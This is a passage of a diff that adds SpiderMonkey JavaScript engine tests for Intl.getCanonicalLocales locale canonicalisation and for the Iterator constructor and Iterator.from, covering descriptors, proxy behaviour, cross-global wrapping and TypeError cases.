+ {locale: "und-Latn-t-und-hani-m0-names", canonical: "und-Latn-t-und-hani-m0-prprname"},
+];
+
+for (let locale of invalid) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+for (let {locale, canonical} of valid) {
+ assertEq(Intl.getCanonicalLocales(locale)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js
new file mode 100644
index 0000000000..a46eba475e
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode locale extension sequences don't allow keys with a digit as their
+// second character.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("en-u-c0"), RangeError);
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("en-u-00"), RangeError);
+
+// The first character is allowed to be a digit.
+assertEq(Intl.getCanonicalLocales("en-u-0c")[0], "en-u-0c");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js
new file mode 100644
index 0000000000..41b2a9a5cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// ECMA-402 includes mapping of legacy variants, as long as they're also present
+// in <variantAlias> in CLDR's supplementalMetadata.xml
+// <https://www.unicode.org/reports/tr35/#Legacy_Variants>
+
+assertEq(Intl.getCanonicalLocales("sv-AALAND")[0], "sv-AX");
+assertEq(Intl.getCanonicalLocales("no-BOKMAL")[0], "nb");
+assertEq(Intl.getCanonicalLocales("no-NYNORSK")[0], "nn");
+assertEq(Intl.getCanonicalLocales("en-POSIX")[0], "en-posix");
+assertEq(Intl.getCanonicalLocales("el-POLYTONI")[0], "el-polyton");
+assertEq(Intl.getCanonicalLocales("aa-SAAHO")[0], "ssy");
+
+// Additional cases from CLDR, version 38.
+
+assertEq(Intl.getCanonicalLocales("aar-saaho")[0], "ssy");
+assertEq(Intl.getCanonicalLocales("arm-arevmda")[0], "hyw");
+assertEq(Intl.getCanonicalLocales("hy-arevmda")[0], "hyw");
+assertEq(Intl.getCanonicalLocales("hye-arevmda")[0], "hyw");
+
+for (let language of ["chi", "cmn", "zh", "zho"]) {
+ assertEq(Intl.getCanonicalLocales(language)[0], "zh");
+
+ let mapping = {
+ "guoyu-hakka": "hak",
+ "guoyu-xiang": "hsn",
+ "guoyu": "zh",
+ "hakka": "hak",
+ "xiang": "hsn",
+ };
+ for (let [variant, canonical] of Object.entries(mapping)) {
+ assertEq(Intl.getCanonicalLocales(`${language}-${variant}`)[0], canonical);
+ }
+}
+
+// Most legacy variant subtags are simply removed in contexts they don't apply.
+for (let variant of ["arevela", "arevmda", "bokmal", "hakka", "lojban", "nynorsk", "saaho", "xiang"]) {
+ assertEq(Intl.getCanonicalLocales(`en-${variant}`)[0], "en");
+}
+
+// Except these three, whose replacement is always applied.
+assertEq(Intl.getCanonicalLocales("en-aaland")[0], "en-AX");
+assertEq(Intl.getCanonicalLocales("en-heploc")[0], "en-alalc97");
+assertEq(Intl.getCanonicalLocales("en-polytoni")[0], "en-polyton");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js
new file mode 100644
index 0000000000..e50436a83c
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// UTS 35, 3.2.1 Canonical Unicode Locale Identifiers:
+// - Any variants are in alphabetical order.
+
+assertEq(Intl.getCanonicalLocales("en-scouse-fonipa")[0], "en-fonipa-scouse");
+
+// Sorting in alphabetical order may turn a valid BCP 47 language tag into a
+// BCP 47 language tag which is only well-formed, but no longer valid. This
+// means there are potential compatibility issues when converting between
+// Unicode BCP 47 locale identifiers and BCP 47 language tags.
+//
+// Spec: https://tools.ietf.org/html/rfc5646#section-2.2.9
+
+// <https://www.iana.org/assignments/language-subtag-registry/language-subtag-registry>
+//
+// Type: variant
+// Subtag: 1994
+// Description: Standardized Resian orthography
+// Added: 2007-07-28
+// Prefix: sl-rozaj
+// Prefix: sl-rozaj-biske
+// Prefix: sl-rozaj-njiva
+// Prefix: sl-rozaj-osojs
+// Prefix: sl-rozaj-solba
+// Comments: For standardized Resian an orthography was published in 1994.
+
+assertEq(Intl.getCanonicalLocales("sl-rozaj-biske-1994")[0], "sl-1994-biske-rozaj");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/variant-with-preferred-value.js b/js/src/tests/non262/Intl/variant-with-preferred-value.js
new file mode 100644
index 0000000000..751649a750
--- /dev/null
+++ b/js/src/tests/non262/Intl/variant-with-preferred-value.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Per UTS 35, computing the canonical form for Unicode BCP 47 locale identifiers
+// includes replacing deprecated variant mappings. The other UTS 35 canonicalisation
+// algorithm ("BCP 47 Language Tag to Unicode BCP 47 Locale Identifier") doesn't
+// support deprecated variant mappings.
+// https://github.com/tc39/ecma402/issues/330
+
+const languageTags = {
+ // The preferred value of "hy-arevela" is "hy" per CLDR.
+ "hy-arevela": "hy",
+ "hy-Armn-arevela": "hy-Armn",
+ "hy-AM-arevela": "hy-AM",
+ "hy-arevela-fonipa": "hy-fonipa",
+ "hy-fonipa-arevela": "hy-fonipa",
+
+ // The preferred value of "hy-arevmda" is "hyw" per CLDR.
+ "hy-arevmda": "hyw",
+ "hy-Armn-arevmda": "hyw-Armn",
+ "hy-AM-arevmda": "hyw-AM",
+ "hy-arevmda-fonipa": "hyw-fonipa",
+ "hy-fonipa-arevmda": "hyw-fonipa",
+
+ // The preferred value of "ja-Latn-hepburn-heploc" is "ja-Latn-alalc97" per CLDR and
+ // IANA.
+ "ja-Latn-hepburn-heploc": "ja-Latn-alalc97",
+ "ja-Latn-JP-hepburn-heploc": "ja-Latn-JP-alalc97",
+
+ // Variant subtag replacements not present in IANA.
+ "sv-aaland": "sv-AX",
+ "el-polytoni": "el-polyton",
+
+ // Additional cases when more variant subtags are present.
+
+ // 1. The preferred variant is already present.
+ "ja-Latn-alalc97-hepburn-heploc": "ja-Latn-alalc97",
+ "ja-Latn-hepburn-alalc97-heploc": "ja-Latn-alalc97",
+ "ja-Latn-hepburn-heploc-alalc97": "ja-Latn-alalc97",
+
+ // 2. The variant subtags aren't in the expected order per IANA. (CLDR doesn't care
+ // about the order of variant subtags.)
+ "ja-Latn-heploc-hepburn": "ja-Latn-alalc97",
+
+ // 3. IANA expects both variant subtags to be present, CLDR also accepts single "heploc".
+ "ja-Latn-heploc": "ja-Latn-alalc97",
+
+ // 4. Test for cases when the same variant subtag position needs to be checked more
+ // than once when replacing deprecated variant subtags.
+ "ja-Latn-aaland-heploc": "ja-Latn-AX-alalc97",
+ "ja-Latn-heploc-polytoni": "ja-Latn-alalc97-polyton",
+};
+
+for (let [tag, canonical] of Object.entries(languageTags)) {
+ assertEq(Intl.getCanonicalLocales(tag)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-subclassable.js b/js/src/tests/non262/Iterator/constructor-subclassable.js
new file mode 100644
index 0000000000..9f65c65ad0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-subclassable.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor can be subclassed.
+---*/
+
+class TestIterator extends Iterator {
+}
+
+assertEq(new TestIterator() instanceof Iterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js b/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js
new file mode 100644
index 0000000000..2b49b2d4ba
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor throws when called directly.
+---*/
+
+assertThrowsInstanceOf(() => new Iterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-throw-without-new.js b/js/src/tests/non262/Iterator/constructor-throw-without-new.js
new file mode 100644
index 0000000000..85497fcd63
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-throw-without-new.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor throws when called without new.
+---*/
+
+assertThrowsInstanceOf(() => Iterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor.js b/js/src/tests/non262/Iterator/constructor.js
new file mode 100644
index 0000000000..56d8271e82
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The Iterator constructor is a built-in function.
+---*/
+
+assertEq(typeof Iterator, 'function');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js b/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js
new file mode 100644
index 0000000000..19bdde852b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.from
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'from');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-length.js b/js/src/tests/non262/Iterator/from/Iterator.from-length.js
new file mode 100644
index 0000000000..0833538da1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/Iterator.from-length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.from.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.from, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-name.js b/js/src/tests/non262/Iterator/from/Iterator.from-name.js
new file mode 100644
index 0000000000..6f48d3e891
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/Iterator.from-name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.from.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.from, 'name');
+assertEq(propDesc.value, 'from');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/call-from-with-different-this.js b/js/src/tests/non262/Iterator/from/call-from-with-different-this.js
new file mode 100644
index 0000000000..90328d117d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/call-from-with-different-this.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({done: false, value: 0}),
+};
+const wrap = Iterator.from.call(undefined, iter);
+
+const result = wrap.next();
+assertEq(result.done, false);
+assertEq(result.value, 0);
+
+const returnResult = wrap.return(1);
+assertEq(returnResult.done, true);
+assertEq(returnResult.value, 1);
+
+assertThrowsInstanceOf(() => wrap.throw(new Error()), Error);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js b/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js
new file mode 100644
index 0000000000..a7c98f9e2a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from throws when called with an object with a non-callable @@iterator property.
+---*/
+
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: 0 }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: false }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: "" }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: {} }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: Symbol('') }), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-next.js b/js/src/tests/non262/Iterator/from/modify-next.js
new file mode 100644
index 0000000000..d347abd2cd
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-next.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+};
+
+const wrap = Iterator.from(iter);
+
+iter.next = () => ({ done: true, value: undefined });
+
+let {done, value} = wrap.next();
+assertEq(done, false);
+assertEq(value, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-return.js b/js/src/tests/non262/Iterator/from/modify-return.js
new file mode 100644
index 0000000000..733eec69d7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-return.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+ return: (value) => ({ done: true, value }),
+};
+
+const wrap = Iterator.from(iter);
+
+let {done, value} = wrap.return(1);
+assertEq(done, true);
+assertEq(value, 1);
+
+iter.return = () => { throw new Error(); };
+assertThrowsInstanceOf(wrap.return, Error);
+
+iter.return = null;
+let nullResult = wrap.return(2);
+assertEq(nullResult.done, true);
+assertEq(nullResult.value, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-throw.js b/js/src/tests/non262/Iterator/from/modify-throw.js
new file mode 100644
index 0000000000..0db7cf6f61
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-throw.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+ throw: (value) => ({ done: true, value }),
+};
+
+const wrap = Iterator.from(iter);
+
+let {done, value} = wrap.throw(0);
+assertEq(done, true);
+assertEq(value, 0);
+
+class TestError extends Error {}
+iter.throw = () => { throw new TestError(); };
+assertThrowsInstanceOf(() => wrap.throw(), TestError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/o-not-object-throws.js b/js/src/tests/non262/Iterator/from/o-not-object-throws.js
new file mode 100644
index 0000000000..3e6c00e59a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/o-not-object-throws.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from throws when called with a non-object.
+---*/
+
+assertThrowsInstanceOf(() => Iterator.from(undefined), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(null), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(0), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(false), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(Symbol('')), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js b/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js
new file mode 100644
index 0000000000..df38e0fc86
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return (...args) => new Proxy(item.apply(receiver, args), handlerProxy);
+ return item;
+ },
+});
+
+class Iter extends Iterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+const iter = new Iter();
+const proxy = new Proxy(iter, handlerProxy);
+const wrap = Iterator.from(proxy);
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+getPrototypeOf: undefined`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-next.js b/js/src/tests/non262/Iterator/from/proxy-wrap-next.js
new file mode 100644
index 0000000000..7630535402
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-next.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+// Call next multiple times. Should not call `get` on proxy.
+wrap.next();
+wrap.next();
+wrap.next();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-return.js b/js/src/tests/non262/Iterator/from/proxy-wrap-return.js
new file mode 100644
index 0000000000..34caeb2176
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-return.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+ return: (value) => ({ done: true, value }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+wrap.return();
+wrap.return();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+get: return
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js b/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js
new file mode 100644
index 0000000000..92a51f4a26
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+ throw: (value) => ({ done: true, value }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+wrap.throw();
+wrap.throw();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+get: throw
+get: throw`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js b/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js
new file mode 100644
index 0000000000..e83e25185d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns O if it is iterable, an iterator, and an instance of Iterator.
+---*/
+
+class TestIterator extends Iterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+
+ next() {
+ return { done: false, value: this.value++ };
+ }
+
+ value = 0;
+}
+
+const iter = new TestIterator();
+assertEq(iter, Iterator.from(iter));
+
+const arrayIter = [1, 2, 3][Symbol.iterator]();
+assertEq(arrayIter, Iterator.from(arrayIter));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js
new file mode 100644
index 0000000000..09b974f327
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns an iterator wrapper if O is not an iterable.
+---*/
+
+class TestIterator {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertEq(
+ Symbol.iterator in iter,
+ false,
+ 'iter is not an iterable.'
+);
+
+const wrapper = Iterator.from(iter);
+assertEq(iter !== wrapper, true);
+assertEq(
+ Symbol.iterator in wrapper,
+ true,
+ 'wrapper is an iterable.'
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js
new file mode 100644
index 0000000000..4045801277
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns an iterator wrapper if O is not an instance of Iterator.
+---*/
+
+class TestIterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertEq(iter instanceof Iterator, false);
+
+const wrapper = Iterator.from(iter);
+assertEq(iter !== wrapper, true);
+assertEq(wrapper instanceof Iterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js b/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js
new file mode 100644
index 0000000000..186e4e62d0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestError extends Error {}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(value, expectedValue);
+}
+
+const iter = {
+ next(value) {
+ return {done: false, value: arguments.length};
+ },
+ return() {
+ throw new TestError();
+ },
+ throw: (value) => ({done: true, value}),
+};
+const thisWrap = Iterator.from(iter);
+const otherGlobal = newGlobal({newCompartment: true});
+const otherWrap = otherGlobal.Iterator.from(iter);
+
+checkIterResult(thisWrap.next.call(otherWrap), false, 0);
+checkIterResult(thisWrap.next.call(otherWrap, 'value'), false, 1);
+
+assertThrowsInstanceOf(thisWrap.return.bind(otherWrap), TestError);
+
+checkIterResult(thisWrap.throw.call(otherWrap, 'value'), true, 'value');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js b/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js
new file mode 100644
index 0000000000..7ff8539923
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+// All methods on %WrapForValidIteratorPrototype% require an [[Iterated]]
+// internal slot on the `this` object.
+
+class TestIterator {
+ next() {
+ return {
+ done: false,
+ value: 0,
+ };
+ }
+}
+
+const nextMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => nextMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call({}), TypeError);
+
+const returnMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => returnMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call({}), TypeError);
+
+const throwMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => throwMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-new-global.js b/js/src/tests/non262/Iterator/from/wrap-new-global.js
new file mode 100644
index 0000000000..a9a26b41b0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-new-global.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const otherGlobal = newGlobal({newCompartment: true});
+
+const iter = [1, 2, 3].values();
+assertEq(iter, Iterator.from(iter));
+assertEq(iter !== otherGlobal.Iterator.from(iter), true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js b/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js
new file mode 100644
index 0000000000..095ddd692a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next(value) {
+ this.v = value;
+ return { done: false, value };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+assertEq(iter !== wrap, true);
+
+assertEq(iter.v, undefined);
+wrap.next(1);
+assertEq(iter.v, 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js b/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js
new file mode 100644
index 0000000000..0e5b559f3b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = (value) => Iterator.from({
+ next: () => value,
+});
+
+assertThrowsInstanceOf(() => iter(undefined).next(), TypeError);
+assertThrowsInstanceOf(() => iter(null).next(), TypeError);
+assertThrowsInstanceOf(() => iter(0).next(), TypeError);
+assertThrowsInstanceOf(() => iter(false).next(), TypeError);
+assertThrowsInstanceOf(() => iter('test').next(), TypeError);
+assertThrowsInstanceOf(() => iter(Symbol('')).next(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
